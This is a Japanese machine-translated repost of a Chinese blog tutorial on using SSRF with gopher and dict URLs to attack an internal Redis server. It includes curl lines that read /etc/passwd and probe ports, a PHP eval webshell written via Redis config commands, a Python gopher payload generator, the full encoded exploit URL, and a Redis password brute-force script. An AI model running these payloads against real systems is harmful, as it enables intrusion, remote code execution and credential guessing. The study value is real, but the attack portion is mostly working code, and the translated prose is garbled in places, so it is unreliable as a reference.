SSRFの脆弱性のRedisの悪用

SSRFの脆弱性のRedisの悪用

SSRF-(サーバー側リクエストフォージ、サーバー側リクエスト偽造)
定義:攻撃者によって構築され、実行のためにサーバーに送信される攻撃リンクによって引き起こされる脆弱性。通常、外部ネットワーク上の内部ネットワークサービスを検出または攻撃するために使用されます。

SSRFの脆弱性マインドマップは次のとおりです。この記事では、主にSSRFの脆弱性を使用してイントラネットRedisを攻撃する方法を紹介します。

画像-20210121152856276

SSRFがイントラネットRedisを攻撃

SSRFの脆弱性があり、イントラネット内のRedisサービスに許可なくアクセスできる場合、Redisを使用して任意のファイルを書き込むことが非常に一般的な使用方法になります。通常、イントラネット内でroot権限で実行されるRedisサービスがあります。 Gopherプロトコルを使用して、イントラネットRedisを攻撃できます。

前回の記事「SSRFの脆弱性の基礎」では、ファイル、辞書、およびgopherプロトコルの定期的な使用について学習しました。

# 利用file协议查看文件
curl -v 'http://sec.com/ssrf.php?url=file:///etc/passwd'

# 利用dict探测端口
curl -v 'http://sec.com/ssrf.php?url=dict://127.0.0.1:6379'

# 利用gopher协议反弹shell
curl -v 'http://sec.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379/_....'

私たちは、メッセージを構築するためにGopherプロトコルを使用したい場合は、我々はRedisのは、データ送信を行う方法を見つけ出す必要があります-すなわち[RESPプロトコル]

Redis伝送プロトコル-[RESPプロトコル]

不正アクセスをRedisする

dockerを使用して、テスト用の既製のRedis無許可の脆弱性環境を構築します。プロセスは次のとおりです。

  1. Redisカスタムイメージを取得する
# 搜索镜像
docker search ju5ton1y
# 拉取镜像
docker pull ju5ton1y/redis
  1. Redisコンテナを実行する

    ps:ju5ton1y / redisミラーdockerfileがどのように書かれているかを理解したい学生は、記事の最後にイースターエッグを見ることができます〜

# 运行Redis
docker run -p 6788:6379 --name redis_test -d ju5ton1y/redis

-p 6788:6379#ポートマッピング、フォーマット[ホスト(ホスト)ポート:コンテナポート]

-d ju5ton1y / redis#コンテナをバックグラウンドで実行し、コンテナIDを返します

--Name redis_test#コンテナに名前を付けます

画像-20210119222235294

  1. コンテナに入り、tcpdumpキャプチャツールをインストールします
# 新终端进入Redis容器
docker exec -it redis_test /bin/bash

# 将redis.conf改为无密码未授权
sed -i 's/requirepass 123123/#requirepass 123123/g' /etc/redis.conf

# 重启容器使配置生效
docker restart redis_test

画像-20210119222559082
画像-20210119224913059

# 重新进入容器安装tcpdump
apt-get install tcpdump 
# 监听eth0网卡的6379端口,将报文保存为nopass.pcap
tcpdump -i eth0 port 6379 -w nopass.pcap

画像-20210119225549995

  1. ローカルクライアントは不正アクセスのために接続し、Wiresharkを使用してnopass.pcapを開きます

画像-20210119230547720

TCPストリームデータを表示すると、Redisデータ送信形式が表示され、公式Webサイトと組み合わせてRESPプロトコル学習できます。概要は次のとおりです。

RedisサーバーとクライアントはRESP(REdisシリアル化プロトコル)プロトコルを介して通信します

RESPプロトコルはRedis1.2で導入されましたが、Redis2.0でRedisサーバーと通信するための標準的な方法になりました。

RESPは、実際には次のデータ型サポートするシリアル化プロトコルです

  • 単純な文字列
  • エラー
  • 整数
  • バッチ文字列
  • アレイ

RESPは、Redisで次のように要求/応答プロトコルとして使用されます。

  1. クライアントはコマンドをBulk StringsRESPアレイとしてRedisサーバーに送信します
  2. サーバーは、コマンドに従ってRESPタイプに応答します

RESPでは、一部のデータのタイプは最初のバイトによって異なります。

  • クライアント要求のSimple Strings場合、応答の最初のバイトは+
  • クライアント要求のerror場合、応答の最初のバイトは-
  • クライアント要求のInteger場合、応答の最初のバイトは:
  • クライアント要求のBulk Strings場合、応答の最初のバイトは$
  • クライアント要求のarray場合、応答の最初のバイトは*

さらにを表すためにRESPBulk Stringsまたは後で指定さArrayれる特別なバリアントを使用できNullます。

RESPでは、契約のさまざまな部分が常に"\r\n"(CRLF)終了します。

クライアントがRedisサーバーにコマンドを送信するプロセスは次のとおりです。

  • クライアントは、バルク文字列のみで構成されるRESPアレイをRedisサーバーに送信します
  • Redisサーバーは、有効なRESPデータ型をクライアントへの応答として送信します

バルク文字列は、最大長が512 MBの単一のバイナリセキュリティ文字列を表すために使用され、次の方法でエンコードされます。

  • $字节数$バイト数の後に文字列が続き、CRLFで終了します。
  • 文字列データ
  • CRLF

文字列f4keのエンコードは次のとおりです。、以下に$4\r\nf4ke\r\n示す形式

画像-20210118161113394

RESPアレイは、次の形式を使用して送信されます。

  • *元素数*最初のバイトとしての文字、配列内の要素数、CRLFの順
  • 配列内の各要素はRESPタイプで接続されています

次の図からデータパケットを理解します。

  • それぞれ*numberが各コマンドラインを表し、numberは各コマンドラインの配列内の要素の数を表します
    • この図では、このコマンドを*3表すconfig get dbfilename3つの要素
  • $number各要素の長さを表します
    • $6config長さを表します

画像-20210118161658418

Redis認証アクセス

パスワードがある場合にパケットをキャプチャするようにredis.conf設定を変更します

# 进入容器中修改配置文件
sed -i 's/# requirepass 123123/requirepass 123123/g' /data/redis/redis.conf
# 重启docker容器
docker restart redis_test
# 监听eth0网卡的6379端口,将报文保存为pass.pcap
tcpdump -i eth0 port 6379 -w pass.pcap

WiresharkはTCPフローを追跡します。

画像-20210120101156767

/tmpshell.phpに正常に書き込まれました

画像-20210120102349713

各リクエストコマンドが実行される前の検証には、次の形式が使用されていることがわかります。

*2
$4
AUTH
$6
123123

公式文書には、クライアントが次のコマンドを発行する前に前のコマンドのサーバー応答を読み取ることなく、1回の書き込み操作で複数のコマンドを送信できることが記載されています

したがって、認証(弱いパスワード)の場合でも、無許可と同じ攻撃方法を実行でき、攻撃スクリプトに認証データを追加するだけで済みます。

SSRF攻撃の再発

不正アクセスをRedisする

テスト環境:

被害者:Tencent Cloud VPS php7.2(curl拡張機能のインストール)+ apache2 + redis6.0.6

攻撃マシン:windows10

最初に、ssrf脆弱性コードをいくつか与え、それを使用してフラグを見つけます〜

# ssrf.php
<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
# curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
# curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);   //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch);  //关闭 cURL 资源,并且释放系统资源
?>

画像-20210120165807075

dictプロトコルを使用して、内部ネットワークのホストの存続とポートのオープンステータスを検出し、burpsuiteツールを使用してブラスト1000〜9000ポートを設定します。ブラストの結果は次のとおりで、ポート6788にredisサービスがあります。

画像-20210120165542929

また、vpsの6788redisポートにはローカルでアクセスできません。そのRedisサービスは、vpsが配置されているイントラネット専用です。

画像-20210120165514692

予備的なアイデア:Webshel​​lを作成するためのRedisコマンドを作成し、Chinese AntSword接続を使用してフラグを見つけてみてください

flushall
set 1 '<?php eval($_POST[\"f4ke\"]);?>'
config set dir /var/www/html
config set dbfilename 5he1l.php
save
quit

RESPプロトコルに従って、Qiyouマスターによって作成されたpythonスクリプトを使用してredisSsrf.py、上記のコマンドをgopherペイロード変換します。

import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6788"
shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),  
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save",
     "quit"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
    cmd += CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))

    # print(payload)
    print(urllib.parse.quote(payload))

redisSsrf.pyスクリプトを実行してペイロードを生成します

画像-20210121102100251

次のようにurlパラメータブラウザリクエストを入力し、Redisコマンドを正常に実行してWebシェルに書き込みます

http://xx.xx.xx.xx:8000/ssrf.php?url=gopher%3A//127.0.0.1%3A6788/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522f4ke%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250A5he1l.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

画像-20210121095445185

中国のAntSwordを使用して接続を確立します。ファイルは先ほど作成したもの5he1l.phpで、パスワードはf4ke

画像-20210120172105728

データを保存します。ファイル管理を右クリックすると、フラグファイルが見つかります。

画像-20210120172241143

画像-20210120172308517

弱いパスワード認証をRedisします

テスト環境:

被害者:Tencent Cloud VPS php7.2(curl拡張機能のインストール)+ apache2 + redis6.0.6

攻撃マシン:windows10

ブラウザアクセスは次のように返されます:リクエストのパスワード認証はありません

画像-20210121110647323

さらに、dictプロトコルを使用して、次の形式を使用してパスワードの認証を試みます。

dict://serverip:port/命令:参数
dict://127.0.0.1:6788/auth:123456

使用してauth:123456、結果を返します:

画像-20210121140919331

使用してauth:123123、結果を返します:

画像-20210121141016108

2つの応答結果から、Redisパスワードは123123であると判断できます。

したがって、イントラネットRedis認証の場合、dictまたはgopherおよびその他のプロトコルを使用して、Redisパスワードをブラストしようとするスクリプトを作成できます。ブラストスクリプトの簡単な実装は次のとおりです。

import urllib.request
import urllib.parse 

url = "http://xx.xx.xx.xx:8000/ssrf.php?url="

param = 'dict://127.0.0.1:6788/auth:'

with open(r'd:\test\top100.txt', 'r') as f:
    for i in range(100):
        passwd = f.readline()
        all_url = url + param + passwd
        # print(all_url)
        request = urllib.request.Request(all_url)
        response = urllib.request.urlopen(request).read()
        # print(response)
        if "+OK\r\n+OK\r\n".encode() in response:
            print("redis passwd: " + passwd)
            break

ブラストで取得したパスワードをredisSsrf.pyスクリプトに追加し、以下の攻撃はサーバー権限を取得するための不正アクセス攻撃プロセスと同じです。

SSRF利用ツール

Gopherus-https://github.com/tarunkant/Gopherus

Gopherusは、SSRF(サーバー側の要求偽造)を使用してRCE(リモートコード実行)を取得するためにGopherペイロードを直接生成するのに役立ちます。

たとえば、この記事のマスターQiyouのスクリプトは、ペイロードを直接生成する代わりに、このツールを使用できます。

画像-20210121161607326

次の2つのツールが一般的に使用されます

  • SSRFmap-https://github.com/swisskyrepo/SSRFmap
  • shellver-https://github.com/0xR0/shellver

総括する

Webシェルへの書き込みに加えて、SSRFを使用してイントラネットRedisを攻撃することもできます。

  • スケジュールされたタスク実行コマンドリバースシェル
  • ssh-keygen公開鍵を書き込み、秘密鍵でログインします

これらの2つの方法は、記事「Redis Unauthorized VulnerabilitySummary」詳細に使用されています。ペイロードがこの記事redisSsrf.pyのスクリプトと組み合わされている限り、攻撃を実現できます。

Redis攻撃環境の確立を通じて、dockerコマンドとdockerfileの記述、ubuntu apache2の構成、組み込みのファイアウォールufwの使用に精通しています。

イースターエッグ

DockerfileファイルがRedisの無許可環境のカスタマイズをどのように実現するか:

#Redis 未授权访问

# 基于ubuntu:16.04版本
FROM ubuntu:16.04

# Maintainer: 设置该镜像的作者
MAINTAINER ju5ton1y


# RUN:用于执行后面跟着的命令行命令。有以下俩种格式:

## shell 格式:等同于在终端操作的 shell 命令
RUN echo "deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse" > /etc/apt/sources.list  # 换源


RUN apt-get update  # 更新
RUN apt-get install -y openssh-server make gcc
#RUN wget http://download.redis.io/releases/redis-3.2.11.tar.gz

# COPY:从上下文目录中复制文件或者目录到容器里指定路径
COPY redis-3.2.11.tar.gz ./  # 复制redis安装包到容器当前文件夹
RUN tar xzf redis-3.2.11.tar.gz # 解压
RUN cd redis-3.2.11 && make && cd src && cp redis-server /usr/bin &&  cp redis-cli /usr/bin  # 编译并将redis-server及redis-cli复制到/usr/bin目录下

# ADD:复制文件指令。它有两个参数<source>和<destination>。destination是容器内的路径。source可以是URL或者是启动配置上下文中的一个文件
ADD redis.conf /etc/redis.conf  # 映射配置文件到容器内
ADD sshd_config /etc/ssh/sshd_config

# EXPOSE:指定容器在运行时监听的端口
EXPOSE 6379 22

RUN /etc/init.d/ssh restart  # 重启ssh服务

# CMD 类似于 RUN 指令,在docker run时运行
## exec 格式:等价于 RUN redis-server /etc/redis.conf
CMD ["redis-server", "/etc/redis.conf"]  # 以被映射到容器中的配置文件启动redis服务

スタートアップコンフィギュレーションコンテキストディレクトリは次のとおりです。

画像-20210119215105383

参照

Webセキュリティの基本的な学習SSRFの脆弱性の悪用

SSRF学習記録:科学的にオンラインにする必要がある

PHPのSSRF

SSRF認証攻撃の分析Redis

エントリーから練習までのDocker

おすすめ

転載: blog.csdn.net/weixin_39664643/article/details/112966684